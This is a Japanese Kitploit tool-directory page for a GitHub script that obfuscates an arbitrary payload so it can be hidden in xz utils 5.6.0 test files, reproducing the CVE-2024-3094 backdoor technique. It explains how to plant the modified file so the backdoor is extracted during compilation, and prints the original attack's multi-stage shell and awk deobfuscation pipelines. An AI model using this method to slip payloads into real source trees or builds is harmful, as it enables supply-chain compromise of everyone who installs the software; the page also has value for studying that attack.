Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
xzutils_backdoor_obfuscation — ペイロードをXZ utils攻撃(CVE-2024-3094)と同じ方法で難読化するスクリプト | Kitploit
ツール/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
エクスプロイトリバースエンジニアリングマルウェア分析サプライチェーンセキュリティ学習と教育ペイロード開発バイナリエクスプロイト
GitHubthomrgn/xzutils_backdoor_obfuscation

xzutils_backdoor_obfuscation

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →

ペイロードをXZ utils攻撃(CVE-2024-3094)と同じ方法で難読化するスクリプト

リポジトリを見る
310ヶ月前未レビュー
共有

xzutils_backdoor_obfuscation

このスクリプトは、XZ utils攻撃(CVE-2024-3094)で使われた難読化技術を再現します。 これは xzutils v5.6.0 でのみテストされています。

⚠️ このコードは教育目的のみで提供されており、悪意のある活動に使用してはなりません。自己責任でご使用ください。 ⚠️

前提条件

元の good-large_compressed.lzma を xzutils 5.6.0 から作業フォルダに置いておく必要があります。

使用方法

以下を実行します ./obfuscate_payload.sh [your_payload]

good-large_compressed.lzma.modified というファイルが作成されます。このファイルを xzutils 5.6.0 ソースコードの test/files フォルダに good-large_compressed.lzma という名前で配置する必要があります。 その後、コンパイルプロセス中にバックドアが抽出されます。

制限事項

このコードは、元のファイルと同じサイズに編集された liblzma_la-crc64-fast.o でテストされています。ペイロードサイズに制限があるため、より大きなファイルを使用すると動作しない可能性があります。

ペイロードの難読化解除

この部分はオプションです。good-large_compressed.lzma からペイロードを難読化解除する方法を示します。元のファイル、またはこのプロジェクトを使用して作成したファイルで使用できます。

前提条件

元の good-large_compressed.lzma と bad-3-corrupt_lzma2.xz を xzutils 5.6.0 から作業フォルダに置いておく必要があります。

ステップ1: bad-3-corrupt_lzma2.xz に隠されたスクリプトを抽出する

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

これにより、ステップ2を実行するbashスクリプトが得られます。

ステップ2: good-large_compressed.lzma に隠された2番目のスクリプトを抽出する

ステージ1の出力から取得した以下のコードを実行します。

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

これにより、ステップ3を実行する別のbashスクリプトが得られます。

ステップ3: good-large_compressed.lzma に隠されたペイロードを抽出する

ステージ2の出力から取得した以下のコードを実行します。

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

これにより、難読化されたペイロード liblzma_la-crc64-fast.o が抽出されます。

ツールをダウンロード